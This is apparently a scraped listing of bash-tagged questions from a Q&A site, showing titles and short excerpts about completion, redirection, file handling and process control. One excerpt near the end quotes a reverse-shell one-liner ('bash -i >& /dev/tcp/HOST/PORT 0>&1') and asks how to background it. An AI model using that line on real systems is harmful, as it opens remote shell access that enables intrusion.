Bash is the shell from the GNU project. It is the standard shell on Linux and often available on other unices. If your question applies to all Bourne/POSIX-style shells, use the /shell tag instead.

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how to edit and color bash's tab completion list

Following is what i would like to have. When the tab completion is ambiguous, and bash prints the list of possibilities. I would like it to colour the next character I should press inside every word ...
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1answer
60 views

Add arguments when completing a command name

I am looking for a way to expand some predefined strings in the terminal when tab (or another key combination) is pressed. This is different from tab completion. My terminal already expands ~ to my ...
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2answers
53 views

bashrc that calls other bashrc depending on linux distro

I login to a system that reads my bashrc file and loads some software ready to use. I'd like to load a given bashrc file depending on the linux system that I am logging into. Specifically, if I am ...
3
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2answers
81 views

Passing arguments to su-provided shell

man su says: You can use the -- argument to separate su options from the arguments supplied to the shell. man bash says: -- A -- signals the end of options and disables further option ...
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2answers
46 views

Bash: split list of files into different files?

I have several files in a directory like: data1.dat data2.dat .... data24678.dat To run another code, I need to have a text file with the names of the files but I need to split in 50 files per ...
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6answers
160 views

How to keep Bash running after command execution?

I would like to run something like this: bash -c "some_program with its arguments" but to have an interactive bash keep running after some_program ends. I'm sure -c is not a good way as man bash ...
2
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1answer
51 views

Difference between “eval” and “source /dev/stdin”

What is the difference between eval and source /dev/stdin? For example, we can run a list of commands in various ways like this. with eval. comd="ls" eval "$comd" with source /dev/stdin printf ...
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0answers
31 views

Transparent encryption of bash history?

I'm not sure if anyone has done such things before. I want bash history to be fully encrypted, prompt for password when in interactive session. Is that possible?
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2answers
10 views

Install-on-Demand Wrapper Function for Executables

How do I make the following function work correctly # Install git on demand function git() { if ! type git &> /dev/null; then sudo $APT install git; fi git $*; } by making git $* ...
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3answers
154 views

Apache server starts automatically after stopping the service

What can cause httpd to start automatically after stopping it? In a bash script I need to first stop apache web server. This is the script: apachectl stop; while pgrep httpd; do sleep 1; done echo ...
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3answers
97 views

Bash script error: integer expression expected

I'm having a rather weird issue, I'm running a script (Bash) on multiple servers and it stopped working on one of the servers (works perfectly fine on all other servers). Here is the problem part of ...
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4answers
47 views

Mass mv on files and changing filenames [duplicate]

I want to change these filenames download (19).download ... download (27).download to download (19).html ... download (27).html I run unsuccessfully mv *.download *.html usage: mv [-f | -i | ...
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2answers
76 views

How to kill a process started as daemon?

I start a process using foo &. It outputs something like: [1] 16915 This is the process id, I guess. How can I store this number into a variable named MY_PROCESS_ID (for example)? Then I ...
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2answers
47 views

screenrc subshell for every window

.screenrc: shell -${SHELL} caption always "%n(%t) %= %{b}@%H[%l] : %{r}%c:%s" termcapinfo xterm ti@:te@ termcap xterm 'AF=\E[3%dm:AB=\E[4%dm' terminfo xterm 'AF=\E[3%p1%dm:AB=\E[4%p1%dm' ...
5
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4answers
239 views

Emptying a file without disrupting the pipe writing to it

I have a program whose output I redirect to a log file: ./my_app > log I would like to clear (i.e. empty) the log from time to time (on demand) and tried various things like cat "" > log ...
3
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2answers
347 views

Interpret backspaces in file

Is there a way to interpret/"execute" backspaces in a file/line using common bash commands? I have a console program which prints some stuff and than erases it using backspaces and finally writes the ...
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3answers
52 views

Create directories from a list of files with spaces in name

I have a directory with a list of files in it. All these files have spaces in their names. I would like to create a directory, for each file, with the name of the file except the extension (which is ...
8
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4answers
309 views

Using “${a:-b}” for variable assignment in scripts

I have been looking at a few scripts other people wrote (specifically Red Hat) and a lot of their variables are assigned using the following notation VARIABLE1="${VARIABLE1:-some_val}" or some expand ...
0
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2answers
53 views

What are ways to encrypt a password inside an environment variable

I have this file I use to set my username and password before exporting the value. #!/bin/bash echo -n "User:"; read user echo -n "Password:"; read -s password export ...
4
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2answers
65 views

Command substitution vs I/O Redirection?

I am wondered about differences between I/O Redirection and Command substitution? For example when I want to redirect which command output to cd command (I know that it's not a directory) then the ...
2
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3answers
81 views

Redirecting only stderr to a pipe

This code snippet is from Advanced Bash Scripting Guide. # Redirecting only stderr to a pipe. exec 3>&1 # Save current "value" of stdout. ls -l 2>&1 ...
3
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1answer
56 views

Init script leaves thousands of defunct processes

My problem is that I have an init script that is generating thousands of defunct bash processes. My goal is to have a program called "fr24feed" in its own screen session on boot. After looking at ...
3
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1answer
28 views

How can I tell whether a package is installed via yum in a bash script?

I am trying to write a script that installs packages, but if it fails at any point later in the script rolls back whatever it installed. Of course if the user has already previously installed a ...
5
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1answer
91 views

Logging ssh remote commands to `bash_history`

SSH allows a remote user to issue some command without interactively logging in to the server, as the last line of ssh usage indicates: usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c ...
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6answers
434 views

A bash function that takes argument like other languages?

I have a bash function to set the $PATH like this -- assign-path() { str=$1 # if the $PATH is empty, assign it directly. if [ -z $PATH ]; then PATH=$str; # if the $PATH does ...
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3answers
184 views

Why do I need a tty to run sudo if I can sudo without a password?

I have configured sudo to run without a password, but when I try to ssh 'sudo Foo", I still get sudo: sorry, you must have a tty to run sudo. Why does this happen and how can I work around it?
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7answers
499 views

How do I copy multiple files by wildcard?

I have a folder with a number of files in it ABC.* (there are roughly 100 such files). I want to duplicate them all to new files with names starting with DEF.* So, I want ABC.Page1 ABC.Page2 ...
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0answers
65 views

Kill Command in linux using bash script [migrated]

I have a bash script abcd.sh,in which I want to kill this command(/usr/local/bin/wrun 'uptime;ps -elf|grep httpd|wc -l;free -m;mpstat') after 5 sec but in this script it kill sleep command after 5 ...
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2answers
52 views

Bash split a list of files

I have 200 files in a folder like: test_1_cfg.dat, test_2_cfg.dat,.... and so on. I need to include in a bash script the first 40 files as input and run some process, another script to read the next ...
0
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1answer
34 views

How to pass a flag from one script to a function in another script

I have a script that installs a bunch of programs (homebrew, git, etc) and I have it log to stdout all the things that its doing along the way, but I want the ability to pass a flag, such as --no-log ...
3
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3answers
74 views

Bash, how to let some background processes run but wait for others?

I have (yet) another wait, &, && control flow question.. Say I have a script something like this where I want to do as much work at the same time as possible: # may take some hours ...
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2answers
68 views

Add users from dat file

I have a dat file with names. These are the names of users I must add, without groups or passwords. Ofcourse i have to remove all spaces. I have to add them with a bash script. Can anyone help me ...
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4answers
55 views

bash event not found trying to match and exclude parenthesis in grep

In a very long line I'll summarize with: (foo),(bar,baz(word,right),(end) I want to print only: (bar,baz(word,right To match the second parenthesis, I exclude the word that follows the ...
2
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1answer
131 views

Sort data in descending order of first column, for equal values, use second column in ascending order

Allow me to clarify: Assume I have some keywords with frequency of their usage: 12 Hi 7 Hash 7 C++ 9 Superuser 17 Stackoverflow 9 LaTeX 42 Life 9 Ubuntu What I want, is to sort this data ...
1
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1answer
97 views

/etc/profile is not read in changed user shell

I need to run custom binary when user logged in to system ,so that I have changed user's shell to /bin/binary to /etc/passwd but I have observed that /etc/profile file was not read when I logged in ...
4
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1answer
52 views

Force Bash normal tab completion if intelligent completion fails

Since tab completion became a standard feature in shells I have been a very happy user of it. I even like Bash's intelligent completion (where it only searches for PDF files, if I type evince ...
5
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1answer
106 views

Is there a Bash file that will be always sourced in interactive mode no matter if it is login or non-login?

As far as I know the interactive shells may be login or not login and the start up files for them are different. If interactive + login shell → /etc/profile then the first readable of ...
3
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1answer
28 views

Change script to use whiptail instead of zenity

I'm having difficulty converting some zenity based script to use whiptail instead. The working script looks something like this: #!/bin/bash xfreerdp /v:farm.company.com \ /d:company.com \ ...
3
votes
1answer
40 views

setting output of a command to a variable [duplicate]

How can I put the output of head -15 textfile.txt to a variable $X to use it in an if command like this: if $X = 'disabled' then ?
0
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2answers
52 views

How to create a permanent alias without resourcing the .bashrc-like file?

I really like bash aliases, it annoys me that every time I want to add a new alias I have type two commands: echo "alias \"short-cmd\"='long-command'" >> ~/.bash_aliases source ~/.bash_aliases ...
6
votes
4answers
378 views

How to run parallel processes and combine outputs when both finished

I have a bash shell script in which I pipe some data through about 5 or 6 different programs then the final results into a tab delimited file. I then do the same again for a separate similar dataset ...
11
votes
1answer
127 views

Why bash encapsulates syntax error both with grave accent and with an apostrophe?

When bash is reporting a syntax error, it encapsulates the text which has raised the syntax error both with grave accent and with an apostrophe, like this: `...'. Any idea why? Here's an example: $ ...
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2answers
46 views

bash function output to pipe [closed]

I made a bash function to beautify svn output, this function show logs one line per commit, it is great! I like it, but if I use it with pipe it does not work. You can find it on github svn-beautify ...
2
votes
3answers
75 views

Count result in a find/exec statement

I have some Perl files which I have to modify through a simple sed call. Basically, I have to remove the first line of all of them. Currently, I managed to do this : find <PATH> -type f -name ...
1
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1answer
68 views

Date calculation in script for notification alerts

I want to create account expiry alerts therefore I need to write a script which could alert me before 1 month of expiry over email. I'm working on Linux. I can get expiry information as 2015-27-03. ...
0
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1answer
56 views

No package * available. cannot install git through yum

I am trying to install git on my Red Hat Enterprise Linux 6.5 server and have hit a brick wall. I can't find the package dependencies for git using yum. [root@FOOBAR mydir]# yum install ...
2
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1answer
40 views

Beginner question about bash “for loop”

When I do, for ((i=0; i<"${ARRAY}"; i+=2)) do echo $i echo ${ARRAY[$i]} done echo $i works as I expected, also echo ${ARRAY[0]} works, but with $i as iterator i see only blank lines. How ...
1
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2answers
63 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
1
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3answers
38 views

How to output comma-separated strings using bash brace expansion

I'd like $ echo a{b,c,d} to output a comma-separated list like ab,ac,ad instead of the usual output ab ac ad What's the easiest way to do that on the command line?
2
votes
3answers
39 views

Intelligently switch between multiple BASH processes

Say you're in a directory and you want to check something in another directory, so you type bash to spawn a new shell so you can cd and check that thing and then type exit to get out and go back to ...